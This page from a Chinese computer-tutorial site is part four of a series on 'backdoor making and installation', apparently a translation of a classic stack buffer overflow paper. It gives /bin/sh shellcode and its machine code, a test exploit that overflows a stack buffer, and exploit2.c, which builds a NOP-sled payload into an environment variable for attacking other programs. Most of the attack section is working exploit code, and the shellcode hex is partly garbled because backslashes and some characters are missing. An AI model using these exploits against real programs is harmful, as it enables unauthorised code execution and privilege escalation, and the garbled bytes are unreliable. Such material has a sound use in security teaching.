庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客教程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

最全的后门制作及安装技术 四

 作者:本站收集   日期:2005-5-17
字号选择〖 〗/ 双击滚屏 单击停止   
  我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有
''. 下面我们就对它作最后一次改进,去掉其中的'':

原指令:          替换为:

---------------------------------------------

movb $0x0,0x7(%esi)    xorl %eax,%eax

movl $0x0,0xc(%esi)    movb %eax,0x7(%
esi)

               movl %eax,0xc(%
esi)
---------------------------------------------
movl $0xb,%eax       movb $0xb,%al

---------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
---------------------------------------------

void main() {

__asm__("

jmp 0x18       # 2 bytes

popl %esi      # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax    # 2 bytes

movb %eax,0x7(%esi) # 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb $0xb,%al    # 2 bytes

movl %esi,%ebx    # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80      # 2 bytes

call -0x2d      # 5 bytes

.string "/bin/sh" # 8 bytes

");

}
---------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:

xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x
0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxf
f/bin/sh

现在我们可以写我们的试验程序了:
---------------------------------------------

exploit1.c:

char shellcode[] =

"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";

char large_string[128];

void main()

{

  char buffer[96];

  int i;

  long *long_ptr = (long *) large_string;

  for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;

  for(i=0;i<strlen(shellcode);i++)
large_string[i]=shellcode[i];

  strcpy(buffer,large_string);

}
---------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[] 的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer, 因为buffer只有96个字节的空间,所以这时就会发生
Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.

现在我们编译运行一下这个程序:
---------------------------------------------

[aleph1]$ gcc -o exploit1 exploit1.c

[aleph1]$ ./exploit1

$ exit

exit

[aleph1]$

---------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.

但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用. 
---------------------------------------------

4. 实际运用中遇到的问题
  在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出
ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了
.

  但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.

  幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.

  下面就是一个打印堆栈起始地址的程序:

sp.c
--------------------------------------------
unsigned long get_sp(void) {

  __asm__("movl %esp,%eax");

}

void main() {

  printf("0x%x ", get_sp());

}

---------------------------------------------

[aleph1]$ ./sp

0x8000470

[aleph1]$

---------------------------------------------

上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.

一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行
直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).

低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF 
FFFF FFFF FFFF 高端内存

栈顶   89ABCDEF0123456789AB CDEF 0123 
4567 89AB CDEF 栈底

      buffer        ebp  ret  
a  b   c

  <------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE]
[0xDE][0xDE][0xDE]

         ^           |

         |___________|

现在我们就可以根据这个方法编写我们的攻击程序了
.

exploit2.c
---------------------------------------------

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =

"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset= atoi(argv[2]);

if (!(buff = malloc(bsize)))

{

printf("Can't allocate memory. ");

exit(0);

}

addr=get_sp()-offset;

printf("Using address: 0x%x ", addr);

ptr=buff;

addr_ptr=(long *)ptr;

for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; //
填充猜测的入口地址

for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填
充NOP

ptr = buff + ((bsize/2) - (strlen
(shellcode)/2));

for (i=0;i<strlen(shellcode);i++) *(ptr++)
=shellcode[i]; //中间填充Shell Code

buff[bsize-1]='';

memcpy(buff,"EGG=",4); //将生成的字符串保存再
环境变量EGG中.

putenv(buff);

system("/bin/bash");

}
上一篇:最全的后门制作及安装技术 五    下一篇:最全的后门制作及安装技术 三  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-17
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿